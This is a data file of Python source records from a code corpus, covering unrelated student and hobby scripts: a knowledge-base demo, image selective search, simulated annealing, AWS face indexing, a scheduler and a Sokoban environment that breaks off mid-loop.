freq = loaded_dictionary[\"stark\"]\n val = qid(\"stark\")\n relationship = {qid(\"Lord Steffon Baratheron\"):\" oldest son and heir of Lord Steffon Baratheon\"}\n kb.add_entity( name = \"stark\" , freq = freq , qid = val , relationship = relationship )\n kb.add_profession(val , Profession.Lord)\n\n ## arya \n freq = loaded_dictionary[\"arya\"]\n val = qid(\"arya\")\n kb.add_entity( name = \"arya\" , freq = freq , qid = val , relationship = None )\n\n ## cersei\n freq = loaded_dictionary[\"cersei\"]\n val = qid(\"cersei\")\n kb.add_entity( name = \"cersei\" , freq = freq , qid = val , relationship = None )\n\n for x in range( 5, len(top_term)):\n freq = loaded_dictionary[top_term[x]]\n val = qid(top_term[x])\n kb.add_entity( name = top_term[x] , freq = freq , qid = val , relationship = None )\n\n ## add rob\n kb.add_realtionship( qid(\"rob\") , {qid(\"Lord Eddard Stark of Winterfell\") : \"The eldest sone of Eddard Stark of Winterfell\"})\n\n ## emilia\n kb.add_realtionship(qid(\"emilia\"), {qid(\"Targaryen\"):\"She is a Targaryen\"})\n\n ## melisandre\n kb.add_realtionship(qid( \"melisandre\"), {qid(\"melisandre\") : \"She is hte Red Priestress\"})\n kb.add_profession(qid(\"melisandre\") , Profession.Priestress) \n\n ## jon\n kb.add_realtionship( qid( \"jon\") , { qid(\"lyanna\") : \"He is the sone of Lyanna Stark \" })\n\n\n kb.save_entities()\n \n ## What is stark profession\n print(\"What is Start profession? \")\n print( \" Stark Profession is \"+kb.determine_profession(qid(\"stark\")) )\n\n ## How many profession are the in game throne\n print(\"How many professionals are in the game of throne\")\n print( \"There is \"+ str(kb.number_of_profession()) + \" profession in game of throne\")\n\n ## how many time did jon appear in the movie\n print( \"How many time did jon appear in the game throne\")\n print( \"Jon appear \"+ str(kb.freq(qid(\"jon\"))) +\" times in game of throne\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"528111238","text":"'''\n@author: Prathmesh R Madhu.\nFor educational purposes only\n'''\n\n# -*- coding: utf-8 -*-\nfrom __future__ import (\n division,\n print_function,\n)\n\nimport os\nimport skimage.data\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\nfrom student import selective_search\n\ndef main():\n \n # loading a test image from '../data' folder\n image_path = '../data/pedestrian.jpg'\n image = skimage.io.imread(image_path)\n print(image.shape)\n\n # perform selective search\n image_label, regions = selective_search(\n image,\n scale=500,\n min_size=20\n )\n \n candidates = set()\n for r in regions:\n # excluding same rectangle (with different segments)\n if r['rect'] in candidates:\n continue\n \n # excluding regions smaller than 2000 pixels\n # you can experiment using different values for the same\n # if r['size'] < 500:\n if r['size'] < 2000:\n continue\n \n # excluding distorted rects\n x, y, w, h = r['rect']\n if w/h > 1.2 or h/w > 1.2:\n continue\n \n candidates.add(r['rect'])\n \n # Draw rectangles on the original image\n fig, ax = plt.subplots(ncols=1, nrows=1, figsize=(6, 6))\n ax.imshow(image)\n for x, y, w, h in candidates:\n print (x, y, w, h, r['size'])\n rect = mpatches.Rectangle(\n (x, y), w, h, fill=False, edgecolor='red', linewidth=1\n )\n ax.add_patch(rect)\n plt.axis('off')\n # saving the image\n if not os.path.isdir('results/'):\n os.makedirs('results/')\n fig.savefig('results/'+image_path.split('/')[-1])\n plt.show()\n\n\nif __name__ == '__main__':\n main()","sub_path":"exercise-05_Visual Recognition for Humanities/projcv-ss-2021/code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"80556073","text":"\"\"\"\nfast simulated annealing\n\"\"\"\n\nfrom __future__ import division,print_function\nimport sys,random,math,collections\nsys.dont_write_bytecode = True\n\nrseed = random.seed\nany = random.choice\nrand = random.random\n\ndef cmd(name,todo):\n if name == '__main__':\n if len(sys.argv) == 3: \n if sys.argv[1] == '--cmd':\n todo = sys.argv[2]\n print(eval(todo))\n \nclass o:\n id=0\n def __init__(i, **d): \n i.id = o.id = o.id + 1\n i.has().update(**d)\n def has(i): return i.__dict__\n def update(i,**d) : i.has().update(d); return i\n def __repr__(i) : \n return showd(i.has(),\n i.__class__.__name__)\n\ndef showd(d,pre=''):\n show=[':%s %s' % (k,d[k]) \n for k in sorted(d.keys() ) \n if k[0] is not \"_\"]\n txt = ' '.join(show)\n if len(txt) > 60:\n show=map(lambda x: '\\t'+x+'\\n',show)\n return pre + '{' + ' '.join(show)+'}'\n\ndef defaults(): return o(\n _logo=\"\"\"Keys West (c) 2014 tim.menzies@gmail.com\n .-\"\"-.\n / .--. \\ \n / / \\ \\ \n | | | |\n | |.-\"\"-.|\n ///`.::::.`\\ \n ||| ::/ \\:: ;\n ||; ::\\__/:: ;\n \\\\\\ '::::' /\n jgs `=':-..-'`\n \"\"\")\n\nThe = defaults()\n\ndef items(x):\n if isinstance(x,list):\n for y in x:\n for z in items(y): \n yield z\n elif isinstance(x,dict):\n for y in x.values():\n for z in items(y): \n yield z\n else: \n yield x\n\nclass Pretty:\n def __repr__(i): \n return showd(i.__dict__,i.__class__.__name__)\n\nclass S(Pretty):\n def __init__(i,pos=0):\n i.pos,i.n,i.most,i.mode,i.w = pos, 0, 0, None, 1\n i.counts = collections.defaultdict(lambda : 0)\n def diff(i,x,y):\n return 0 if x == y else 1\n def near(i,x,y,z,f=0.3):\n w = y if rand() < f else z\n return x if w == x else w\n def __iadd__(i,x):\n assert not isinstance(x,(float,int))\n i.n += 1\n c = i.counts[x] = i.counts[x] + 1\n if c > i.most:\n i.mode, i.most = x, i.n\n return i\n\ndef _s():\n rseed(1)\n l = list('abcdefhhijklmnopqrstuvwxyz')\n s = S()\n for _ in xrange(1000): s += any(l)\n print(s.counts,s.mode,s.most)\n\nclass N(Pretty):\n def __init__(i,pos=0):\n i.pos,i.lo,i.hi,i.w = pos, 10**32, -1*10**32, 1\n def near(i,x,y,z,f=0.3):\n return x + f*(y-z)\n def diff(i,x,y):\n x = (x - i.lo)/(i.hi - i.lo + 0.00001)\n y = (y - i.lo)/(i.hi - i.lo + 0.00001)\n return (x-y)**2\n def __iadd__(i,x):\n assert isinstance(x,(float,int))\n i.lo = min(i.lo,x)\n i.hi = max(i.hi,x)\n return i\n\ndef _n():\n rseed(1)\n l = range(0,23)\n n = N()\n for _ in xrange(10): n += any(l)\n print(n.lo,n.hi)\n\ndef _pop():\n rseed(0)\n def one(): \n return [rand()**(1/(n+1))\n for n,_ in enumerate(range(10))]\n p = Population(one(),one())\n for x in range(100):\n p.add(one()).xy()\n for x in items(p.tiles()): print(x)\n \nclass Population(Pretty):\n def __init__(i,cells1,cells2,width=100):\n i.c,i.width, i.cols = 0,width,[]\n i._tiles, i.xys = i.tiles0(), {}\n row1, row2 = Row(i,cells1), Row(i,cells2)\n i.tell(row1); i.tell(row2)\n i.poles(row1,row2,row2 - row1)\n i.place(row1); i.place(row2)\n def cols0(i,cells):\n def ns(x): \n return N if isinstance(x,(float,int)) else S\n return [ns(x)(n) for n,x in enumerate(cells)]\n def tiles0(i):\n return [[{} for _ in range(i.width)] \n for j in range(i.width)]\n def tiles(i):\n i._tiles = i._tiles or i.tiles0()\n return i._tiles\n def poles(i,west,east,c):\n print('.')\n i.west,i.east,i._tiles,i.xys = west,east,None,{}\n i.c = c\n def tell(i,row):\n i.cols = i.cols or i.cols0(row.cells) \n for cell,col in zip(row.cells,i.cols): \n col += cell\n def place(i,row):\n x,y = row.xy()\n x = max(i.width - 1, int(x * i.width))\n y = max(i.width - 1, int(y * i.width))\n i.tiles()[x][y][row.id] = row\n def __iadd__(i, cells): i.add(cells); return i\n def add(i,cells):\n row = Row(i,cells)\n i.tell(row)\n a = row - i.west\n b = row - i.east\n if a > i.c: \n if not b > a:\n i.poles(row,i.east,b)\n if b > i.c: \n i.poles(i.west,row,a)\n return row\n\nclass Row:\n id = 0\n def __init__(i,g,cells=[]):\n i.id = Row.id = Row.id + 1\n i.g, i.cells, i.x, i.y = g, cells, None, None\n def xy(i):\n cache = i.g.xys\n key = i.id\n if not key in cache: \n cache[key] = i.xy0()\n return cache[key]\n def xy0(i):\n a = i - i.g.west\n b = i - i.g.east\n c = i.g.c\n x = (a*a + c*c - b*b)/(2*c + 0.0001) \n y = max(0, a**2 - x**2)**0.5 \n return x,y\n def __sub__(i,j):\n ds = ws = 0\n for x,y,col in zip(i.cells, j.cells, i.g.cols):\n ds += col.diff(x,y)\n ws += col.w\n return ds**0.5 / ws**0.5\n\n\"\"\"\n@include \"lib.awk\"\n@include \"genicLib.awk\"\n\nfunction _genic( _Genic,o) {\n if (args(\"-d,data/weather.csv,--dump,0\"\\\n \",-k,10,-m,20,-n,100,-s,1\",o)) {\n k = o[\"-k\"]\n m = o[\"-m\"]\n n = o[\"-n\"]\n print \"!!\",FS,OFS\n srand(o[\"-s\"])\n genic(\"cat \" o[\"-d\"], _Genic) }\n}\nfunction genic(com, _Genic, rows) {\n a(centroid) a(age)\n while((com | getline) > 0) { \n gsub(/([ \\t\\r])|#.*)/,\"\")\n if($0) {\n if (length(centroid) < k) \n\tmore(_Genic)\n else {\n\t genic1(rows++,_Genic)\n\t if (rows % n == 0) less(_Genic)\n}}}}\nfunction genic1(rows,_Genic, i,this,row) {\n say(\"=\")\n for(i=1;i<=NF;i++) {\n row[i] = $i\n rows==0 ? head(i,$i,_Genic) : lohi(i,$i,_Genic)\n }\n this = nearest(row,_Genic)\n move(++weight[this],centroid[this],row)\n}\nfunction more(_Genic, i,new) {\n say(\"+\")\n new = gensym(\"center\")\n weight[new] = age[new] = 0 \n for(i=1;i<=NF;i++) \n centroid[new][i]=$i\n}\nfunction less(_Genic, sum,c,die) { \n for(c in centroid) {\n sum += weight[c]\n age[c] += centroid[c]\n }\n for(c in centroid) if (weight[c]/sum < rand()) die[c]\n for(c in die) {\n delete centroid[c]\n delete age[c]\n }\n delete weight\n}\nfunction move(w,olds,news,_Genic, old,new,pos) {\n for(pos in name) { \n if (pos in goalp) continue\n new = news[pos]\n old = olds[pos]\n if (new == avoid) { continue }\n if (old == avoid) { olds[pos] = new; continue }\n if (pos in nump)\n olds[pos] = (old*w + new)/(w + 1)\n else\n olds[pos] = (rand() < 1/w ? old : new)\n}}\n\"\"\"\n\ncmd(__name__,'The._logo')\n \n","sub_path":"keyswest.py","file_name":"keyswest.py","file_ext":"py","file_size_in_byte":6229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"95100494","text":"'''\n\nConstruir um algoritmo que leia dois valores númericos inteiros e efetua e adção; caso o resultado seja maior\nque 10,aparesenta-lo.\n\n'''\n\nnum1 = int(input(\"Digite o primeiro numero: \"))\nnum2 = int(input(\"Digite o segundo numero: \"))\nresult = num1 + num2\nif result > 10:\n print(\"O resultado é mior que\",result)\nelse:\n print(\"O resultado e menor que |10|, soma dos valores é = \",result)","sub_path":"Prog_91_pag_79.py","file_name":"Prog_91_pag_79.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"654223670","text":"hours = eval(input(\"Enter hours worked:\"))\nrate = eval(input(\"Enter rate:\"))\nwage = hours*rate\n\nif hours > 0 and rate > 0:\n print(\"Your wage for\", hours, \"hours is:\", wage)\nelif hours == 0 or rate == 0:\n print(\"Your wage for\", hours, \"hours is:\", wage)\nelse:\n print(\"That can't be right mate!\")\n","sub_path":"wages.py","file_name":"wages.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"144208383","text":"class Book(object):\n \"\"\"Book class with a title, author,patron, & wait-list\"\"\"\n\n def __init__(self, title, author):\n \"\"\"Makes a new book, w/ title and author.\"\"\"\n self._title = title\n self._author = author\n self._Patron = None\n self._waitList = []\n\n def __str__(self):\n list_num = 1\n result = self._title + ', '\n result += self._author + ', '\n if self._Patron:\n result += \"in care of: \" + str(self._Patron) + '\\n'\n else:\n result += \"Not checked out\\n\"\n result += \"\\nWaiting:\\n\"\n\n for Patron in self._waitList:\n result += str(list_num) + \". \" + str(Patron) + '\\n'\n list_num += 1\n return result\n\n def borrow(self, Patron):\n \"\"\"loans book to patron\"\"\"\n if Patron.getNumBooksOut() == Patron.MaxBooks:\n return \"Can't borrow more books--MAX REACHED\"\n elif self._Patron:\n if Patron != self._Patron:\n self._waitList.append(Patron)\n return \"This Book is already checked out\"\n else:\n self._Patron = Patron\n return None\n\n def returnMe(self):\n \"\"\" returns book \"\"\"\n self._Patron.return_Book()\n self._Patron = None\n index = 0\n while index < len(self._waitList):\n waitingPatron = self._waitList[index]\n result = self.checkOut(waitingPatron)\n if result == None:\n self._waitList.pop(index)\n return \"Book loaned to a waiting Patron\"\n return \"Book returned\"\n","sub_path":"book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"570855881","text":"import re\nimport os, sys\nimport time\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom population_simple import SimpleSchedule\nfrom helperfunctions import GA_settings\nfrom scheduler_simple import run_opt\nfrom visualize_lib import plot_gantt\n\n\ncurdir = os.path.abspath(sys.path[0])\nos.chdir(curdir)\n\n#from SchedulerV000 import run_opt\n#from visualise_lib import show_ga_results, plot_gantt, show_energy_plot\n\nNUM = 40\nFILENAME = fr'OR dataset\\wt{NUM}.txt'\nOUTPUT_FILENAME = fr'OR dataset\\wtself{NUM}.txt'\nTIMING_FILENAME = fr'OR dataset\\timing{NUM}.txt'\n\ndef read_file_num(filename, num_jobs):\n with open(filename) as f:\n read_data = f.read()\n \n temp = re.findall(r\"\\d+\", read_data)\n temp = [int(t) for t in temp]\n\n list_jobs = []\n list_priorities = []\n list_duedate = []\n for t, i in zip(temp, range(len(temp))):\n j = (i % (num_jobs*3))\n k = j // (num_jobs*3)\n if (j == 0):\n temp_jobs = []\n temp_priorities = []\n temp_duedate = []\n if (0 <= j < num_jobs):\n temp_jobs.append(t)\n elif (num_jobs <= j < num_jobs*2):\n temp_priorities.append(t)\n elif (num_jobs*2 <= j < num_jobs*3):\n temp_duedate.append(t)\n if (j == num_jobs*3 - 1):\n list_jobs.append(temp_jobs)\n list_priorities.append(temp_priorities)\n list_duedate.append(temp_duedate) \n return list_jobs, list_priorities, list_duedate\n\nif __name__ == \"__main__\":\n # Read the input file\n job_list, priority_list, duedate_list = read_file_num(FILENAME, NUM)\n \n list_optimal = []\n \n num = 0\n \n time_count = len(job_list)\n \n time_start = time.time()\n for (job, priority, duedate, r) in zip(job_list, priority_list, duedate_list, range(len(job_list))):\n \n # Convert the input file to a SimpleSchedule object\n simplesched = SimpleSchedule(list(range(len(job))), \n job, priority, duedate)\n \n # Get the settings for the scheduler\n settings = GA_settings(pop_size=8, cross_rate=0.5, mutation_rate=0.8,\n num_mutations=1, iterations=25000,\n adapt_ifin=[5000, 10000, 15000, 20000])\n \n num += 1\n print('Run #'+ str(num))\n \n # Run the optimizer\n total_cost, original_cost, candidate_schedule,\\\n original_schedule, lists_result =\\\n run_opt(simplesched, settings)\n \n candidate_schedule = pd.DataFrame.from_dict(candidate_schedule.timing_dict, orient='index')\\\n .reindex(candidate_schedule.job_list)\n candidate_schedule.index.name = 'jobindex'\n candidate_schedule[\"type\"] = \"NONE\"\n \n import seaborn as sns\n sns.set()\n plt.figure(figsize=(15, 10))\n plot_gantt(candidate_schedule, \"priority\", 'jobindex', startdate='start', enddate='end', duedate='duedate')\n \n if not os.path.isdir(r\"OR dataset\\output_{}\".format(NUM)):\n os.mkdir(r\"OR dataset\\output_{}\".format(NUM))\n plt.savefig(os.path.join(r\"OR dataset\\output_{}\".format(NUM), r\"gantt_plot_{}.pdf\".format(r)))\n plt.clf()\n \n list_optimal.append(total_cost)\n \n time_end = time.time()\n \n mean_time = (time_end - time_start) / time_count\n\n # Save the output file\n file = open(OUTPUT_FILENAME, \"w\") \n for l in list_optimal: \n file.write('{:10d}\\n'.format(l))\n file.close()\n \n file = open(TIMING_FILENAME, \"w\")\n file.write('Mean time: ' + str(mean_time))\n file.close()\n \n","sub_path":"ELITEPython/Deliverable/execute_simple.py","file_name":"execute_simple.py","file_ext":"py","file_size_in_byte":3657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"347611682","text":"import pytest\n\n\n@pytest.mark.parametrize('file_path,expected_text', [\n ('jdk.table.xml', '/usr/lib/jvm/java-1.8.0-openjdk'),\n ('jdk.table.xml', '/usr/lib/jvm/java-11-openjdk'),\n ('project.default.xml', 'project-jdk-name=\"1.8\"'),\n])\ndef test_config_files(host, file_path, expected_text):\n config_dir_pattern = (\n '\\\\.config/JetBrains/(IdeaIC|IntelliJIdea)[0-9]+\\\\.[0-9]/options$')\n config_home = host.check_output('find %s | grep --color=never -E %s',\n '/home/test_usr',\n config_dir_pattern)\n assert host.file(config_home + '/' + file_path).contains(expected_text)\n","sub_path":"molecule/rocky/tests/test_role.py","file_name":"test_role.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"338617237","text":"import scipy\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\n\ndef analize_graphs(N, xfile, y1file, y2file, y3file, maxfile=\"max_filename.txt\", medfile=\"medium_filename.txt\",\n minfile=\"min_filename.txt\", srcfile=\"screenshot.png\"):\n x = scipy.genfromtxt(xfile, delimiter=', ')\n x = x[:N]\n y1 = scipy.genfromtxt(y1file, delimiter=', ')\n y1 = y1[:N]\n y2 = scipy.genfromtxt(y2file, delimiter=', ')\n y2 = y2[:N]\n y3 = scipy.genfromtxt(y3file, delimiter=', ')\n y3 = y3[:N]\n\n plt.rcParams[\"figure.figsize\"] = (20, 10)\n l = plt.subplot(121) # numrows, numcols, fignum\n\n l.plot(x, y1, c=\"red\")\n l.plot(x, y2, c=\"green\")\n l.plot(x, y3, c=\"blue\")\n y1_patch = mpatches.Patch(color='red', label=\"y1\")\n y2_patch = mpatches.Patch(color='green', label=\"y2\")\n y3_patch = mpatches.Patch(color='blue', label=\"y3\")\n plt.legend(handles=[y1_patch, y2_patch, y3_patch])\n\n plt.xlabel(\"Abscissa\")\n plt.ylabel(\"Ordinate\")\n plt.title(\"Graph\")\n\n mx = scipy.maximum(y1, y2)\n mx = scipy.maximum(mx, y3)\n mn = scipy.minimum(y1, y2)\n mn = scipy.minimum(mn, y3)\n av = scipy.average([y1, y2, y3], axis=0)\n\n r = plt.subplot(122)\n r.plot(x, mn, c=\"blue\")\n r.plot(x, mx, c=\"red\")\n r.plot(x, av, c=\"green\")\n y1_patch = mpatches.Patch(color='red', label=\"Maximum\")\n y2_patch = mpatches.Patch(color='green', label=\"Average\")\n y3_patch = mpatches.Patch(color='blue', label=\"Minimum\")\n plt.legend(handles=[y1_patch, y2_patch, y3_patch])\n plt.xlabel(\"Abscissa\")\n plt.ylabel(\"Ordinate\")\n plt.title(\"Graph\")\n\n scipy.savetxt(maxfile, mx, delimiter=\", \")\n scipy.savetxt(minfile, mn, delimiter=\", \")\n scipy.savetxt(medfile, av, delimiter=\", \")\n plt.savefig(srcfile)\n plt.show()\n\n\nanalize_graphs(500, \"x_filename.txt\", \"y1_filename.txt\", \"y2_filename.txt\", \"y3_filename.txt\", \"max_filename.txt\");","sub_path":"main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"476757849","text":"#GEOS 3103/5073 Homework 1 Script f\r\n#Jen Beals\r\n#30 Jan 2020\r\n\r\n#this function returns the difference between the maximum and minimum values in a given list of numbers (float) as input by a user\r\ndef differenceMaxMin():\r\n numList = [] #create an empty list of numbers to be populated\r\n n = int(input(\"Enter number of elements in the list: \")) #define number of elements in list\r\n #query the user for numbers and append into numList by looping through input() query n times\r\n for i in range(0,n):\r\n num = float(input('Enter value of element number ' + str(i+1) + ': '))\r\n numList.append(num)\r\n print(max(numList) - min(numList)) #print the difference between max and min value in list\r\ndifferenceMaxMin() #call the function\r\n","sub_path":"jmbeals_h01_f.py","file_name":"jmbeals_h01_f.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"191090920","text":"def computepay(h, r):\n if h <= 40:\n return h * r\n else:\n return 40 * r + (h - 40) * r * 1.5\n\n\nhrs = input(\"Enter Hours:\")\nhrs = float(hrs)\nrat = float(input(\"Enter Rates:\"))\n\np = computepay(hrs, rat)\nprint(p)\n","sub_path":"summer-2019/python-task/4.6.py","file_name":"4.6.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"381253708","text":"import boto3\n\ndef index_face(collection_id, image_path):\n client = boto3.client('rekognition')\n try:\n print('Reading Image')\n with open(image_path, 'rb') as image:\n print('Indexing Face')\n response = client.index_faces(\n CollectionId = collection_id,\n Image = {'Bytes':image.read()}\n )\n print(response)\n print('Done...')\n return response['FaceRecords'][0]['Face']['FaceId']\n except:\n print('Error Indexing Image')\n\ndef list_faces(collection_id):\n client = boto3.client('rekognition')\n try:\n print('Listing Faces')\n max_results = 2\n response = client.list_faces(\n CollectionId = collection_id,\n MaxResults = max_results\n )\n tokens = True\n faces_count = 0\n face_ids = []\n while tokens:\n faces = response['Faces']\n for face in faces:\n face_ids.append(face['FaceId'])\n faces_count+=1\n if 'NextToken' in response:\n nextToken = response['NextToken']\n response = client.list_faces(\n CollectionId = collection_id,\n NextToken = nextToken,\n MaxResults = max_results\n )\n else:\n tokens = False\n print('Total faces = ' + str(faces_count))\n print('Done...')\n return face_ids\n except:\n print('Error Listing Faces')\n\ndef search_face(collection_id, image_path):\n client = boto3.client('rekognition')\n try:\n print('Reading Image')\n with open(image_path, 'rb') as image:\n print('Searching Face')\n response = client.search_faces_by_image(\n CollectionId = collection_id,\n Image = {'Bytes' : image.read()},\n FaceMatchThreshold = 90,\n MaxFaces = 1\n )\n faceMatches = response['FaceMatches']\n if len(faceMatches)==0:\n return 'No Match Found'\n else:\n matches = []\n for faceMatch in faceMatches:\n match = {\n 'Id' : faceMatch['Face']['FaceId'],\n # 'Box' : faceMatch['Face']['BoundingBox'],\n 'Similarity' : \"{:.2f}\".format(faceMatch['Similarity']) + \"%\"\n }\n matches.append(match)\n print('Done...')\n return matches[0]\n except:\n print('Error Searching Face')\n return 'No Match Found'\n\ndef delete_faces(collection_id, faces):\n client = boto3.client('rekognition')\n try:\n print('Deleting faces')\n response = client.delete_faces(\n CollectionId = collection_id,\n FaceIds = faces\n )\n print(str(len(response['DeletedFaces'])) + ' faces deleted')\n for faceId in response['DeletedFaces']:\n print(faceId)\n print('Done...')\n except:\n print('Error Deleting Face')\n","sub_path":"aws/rekognition/faces.py","file_name":"faces.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"389189964","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom copy import copy\n\nACTION_SIZE = 8\n\n\ndef read_input_txt(file):\n with open(file) as f:\n mat = f.read()\n mat_lst = list(mat)\n m_cnt, n_cnt, m, n = 0, 0, 0, 0\n for c in mat_lst:\n if c== '\\n':\n m_cnt += 1\n n = max(n_cnt, n)\n n_cnt = 0\n else:\n n_cnt += 1\n m = m_cnt\n # print(mat_lst)\n # print(m, n)\n\n m_cnt = 0\n last_line_num = 0\n for c in mat_lst:\n\n if m_cnt == m:\n\n if c is not ' ':\n last_line_num += 1\n\n if c == '\\n':\n m_cnt += 1\n\n m = m +1\n n = max(last_line_num, n)\n # print(m, n)\n\n encode_mat = np.zeros((m,n), dtype=np.uint8)\n\n idx_m = 0\n idx_n = 0\n for c in mat_lst:\n if c == ' ' :\n encode_mat[idx_m][idx_n] = 0\n idx_n +=1\n elif c == '#':\n encode_mat[idx_m][idx_n] = 1\n idx_n += 1\n elif c == 'B':\n encode_mat[idx_m][idx_n] = 2\n idx_n += 1\n elif c == '.':\n encode_mat[idx_m][idx_n] = 3\n idx_n += 1\n elif c == 'X':\n encode_mat[idx_m][idx_n] = 4\n idx_n += 1\n elif c == '&':\n encode_mat[idx_m][idx_n] = 5\n idx_n += 1\n elif c == '\\n':\n idx_m+=1\n idx_n=0\n else:\n raise Exception(\"not recognize char\", c)\n\n if idx_m==m-1 and idx_n==n-1:\n break\n\n\n print(encode_mat)\n return encode_mat\n\n\nencode_mat = read_input_txt('level1.txt')\n# read_input_txt('level2.txt')\n# read_input_txt('level3.txt')\n# read_input_txt('test1.txt')\n# read_input_txt('test2.txt')\n# read_input_txt('test3.txt')\n\n\n(SIZE_M, SIZE_N) = encode_mat.shape\n# print(SIZE_M, SIZE_N)\n\nclass Actor:\n def __init__(self, x_init, y_init):\n self.x = x_init\n self.y = y_init\n #\n # def __str__(self):\n # return \"{}, {}\".format(self.x, self.y)\n\n def __sub__(self, other):\n return np.abs(self.x - other.x)+np.abs(self.y - other.y)\n\n def action(self, choice):\n if choice == 0:\n self.move(0, 1)\n elif choice == 1:\n self.move(0, -1)\n elif choice == 2:\n self.move(-1, 0)\n elif choice == 3:\n self.move(1, 0)\n\n def move(self, dx, dy):\n self.x += dx\n self.y += dy\n\n\n if self.x <0:\n self.x = 0\n elif self.x > SIZE_M-1:\n self.x = SIZE_M -1\n\n if self.y < 0:\n self.y = 0\n elif self.y > SIZE_N - 1:\n self.y = SIZE_N - 1\n\n\nfor i in range(SIZE_M):\n for j in range(SIZE_N):\n if encode_mat[i][j]==5:\n player = Actor(i, j)\n print(\"player at i j:\",i,j)\n break\n\nbox_lst = []\ngoal_lst = []\nwall_lst = []\nfor i in range(SIZE_M):\n for j in range(SIZE_N):\n if encode_mat[i][j] == 1:\n wall_lst.append(Actor(j, i))\n elif encode_mat[i][j] == 2:\n box_lst.append(Actor(j, i))\n elif encode_mat[i][j] == 3:\n goal_lst.append(Actor(j, i))\n elif encode_mat[i][j] == 4:\n box_lst.append(Actor(j, i))\n goal_lst.append(Actor(j, i))\n\nassert (len(box_lst) == len(goal_lst))\nprint('box number:', len(box_lst))\nprint('wall number:', len(wall_lst))\n\n\nclass Env:\n def __init__(self, wall_lst, box_lst, goal_lst, player):\n self.wall_lst = wall_lst\n self.box_lst = box_lst\n self.goal_lst = goal_lst\n self.player = player\n self.action_dict = {0:'move up',\n 1:'move down',\n 2:'move left',\n 3:'move right',\n 4: 'push up',\n 5: 'push down',\n 6: 'push left',\n 7: 'push right'}\n\n\n def obs(self):\n obs_mat = np.zeros((len(self.wall_lst)+1,2), np.uint8)\n for i in range(len(self.wall_lst)):\n obs_mat[i][0] = self.wall_lst[i].x\n obs_mat[i][1] = self.wall_lst[i].y\n\n obs_mat[-1][0] = player.x\n obs_mat[-1][1] = player.y\n\n # print(obs_mat)\n return obs_mat\n\n def display(self):\n encode_mat = np.zeros((SIZE_M,SIZE_N), dtype=np.uint8)\n for actor in self.wall_lst:\n encode_mat[actor.y][actor.x] += 1\n for actor in self.box_lst:\n encode_mat[actor.y][actor.x] += 2\n for actor in self.goal_lst:\n encode_mat[actor.y][actor.x] += 3\n\n for i in range(SIZE_M):\n for j in range(SIZE_N):\n if encode_mat[i][j] == 5:\n encode_mat[i][j] = 4\n\n encode_mat[self.player.y][self.player.x] = 5\n\n print(encode_mat)\n raw_mat = np.zeros((SIZE_M, SIZE_N), dtype=np.str)\n\n str = ''\n for i in range(SIZE_M):\n for j in range(SIZE_N):\n a = encode_mat[i][j]\n if a == 0:\n raw_mat[i][j] = ' '\n elif a == 1:\n raw_mat[i][j] = '#'\n elif a == 2:\n raw_mat[i][j] = 'B'\n elif a == 3:\n raw_mat[i][j] = '.'\n elif a == 4:\n raw_mat[i][j] = 'X'\n elif a == 5:\n raw_mat[i][j] = '&'\n\n str = str + raw_mat[i][j]\n str = str + '\\n'\n print(str)\n\n def action(self, action):\n if action == 0 or action == 1 or action == 2 or action == 3:\n new_player = copy(self.player)\n new_player.action(action)\n if not self.is_move_fail(new_player):\n self.player = new_player\n\n elif action == 4 or action == 5 or action == 6 or action == 7:\n new_player = copy(self.player)\n new_player.action(action-4)\n\n fail_push = False\n is_neighborBox = False\n for idx in range(len(self.box_lst)):\n if new_player - self.box_lst[idx] == 0:\n is_neighborBox = True\n neighbor_idx = idx\n break\n\n if not is_neighborBox:\n fail_push = True\n else:\n new_box = copy(self.box_lst[idx])\n new_box.action(action-4)\n for i in range(len(self.wall_lst)):\n if new_box - self.wall_lst[i] == 0:\n fail_push = True\n break\n for i in range(len(self.box_lst)):\n if new_box - self.box_lst[i] == 0 and i is not neighbor_idx:\n fail_push = True\n break\n\n if not fail_push:\n self.player = new_player\n self.box_lst[neighbor_idx] = new_box\n\n\n def is_move_fail(self, new_player):\n fail_move = False\n for actor in self.wall_lst:\n if new_player-actor ==0:\n fail_move = True\n break\n for actor in self.box_lst:\n if new_player-actor ==0:\n fail_move = True\n break\n\n return fail_move\n\n\n\n\nenv = Env(wall_lst, box_lst, goal_lst,player)\n# env.obs()\nenv.display()\naction =2\nprint(f\"next action: {action}, {action} is {env.action_dict[action]}\")\nenv.action(action)\nenv.display()\n\naction =3\nprint(f\"next action: {action}, {action} is {env.action_dict[action]}\")\nenv.action(action)\nenv.display()\n\naction =7\nprint(f\"next action: {action}, {action} is {env.action_dict[action]}\")\nenv.action(action)\nenv.display()\n\ninput_str = None\nwhile input_str is not 'q':\n 